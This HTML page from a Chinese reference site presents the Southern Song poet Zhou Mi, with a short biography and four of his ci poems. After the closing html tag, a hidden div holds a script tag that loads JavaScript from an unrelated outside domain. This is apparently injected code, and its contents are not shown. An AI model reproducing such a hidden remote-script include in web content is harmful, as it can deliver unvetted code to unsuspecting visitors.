<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-周密</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>周密</strong></span></div>

	<div class="Cont_tit sc">
		<h1>周密</h1>
		<span>(1232-1298)，字公谨，号草窗，又号四水潜夫、弁阳老人、华不注山人，南宋词人、文学家。祖籍济南，流寓吴兴(今浙江湖州)。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>曲游春</strong></div><div class="sc_det_cont">禁苑东风外,囗暖丝晴絮,春思如织。燕约莺期，恼芳情偏在，翠深红隙。漠漠香尘隔，沸十里、乱丝丛笛。<br/>看画船尽入西冷，闲却半湖春色。柳陌，新烟凝碧。映帘底宫眉，堤上游勒。轻蝶怨良宵岑寂。正满湖碎月摇花，怎生去得？</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>花犯</strong></div><div class="sc_det_cont">水仙花<br/>楚江湄，湘娥再见，无言洒清泪，淡然春意。空独倚东风，芳思谁寄？凌波路冷秋无际。<br/>香云随步起，漫记得、汉宫仙掌，亭亭明月底。冰丝写怨更多情，骚人恨枉赋芳兰幽芷。春思远，谁叹赏国香风味？相露，一枝灯影里。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>玉京秋</strong></div><div class="sc_det_cont">烟水阔，高林弄残照，晚蜩凄切。碧砧度韵，银床飘叶。衣湿桐阴露冷，采凉花时赋秋雪。叹轻别，一襟幽事，砌虫能说。<br/>客思吟商还怯，怨歌长、琼壶暗缺。翠扇恩疏，红衣香褪，翻成消歇。玉骨西风，恨最恨、闲却新凉时节。楚箫咽，谁寄西楼淡月。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>瑶华</strong></div><div class="sc_det_cont">朱钿宝囗，天上飞琼，比人间春别。江南北上，终未见、漫拟梨云梅雪。淮山春晚，问谁识、芳心高洁？消几番、花落花开，老了玉关豪杰。<br/>金壶剪送琼枝，看一骑红尘，香度瑶阙。韶华正好，应自喜、初乱长安蜂蝶。杜郎老矣，想旧事花须能说。记少年一梦扬州，二十四桥明月。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>周密</span>&nbsp; &nbsp; 宋词翻页： [<a href="14_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/2</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>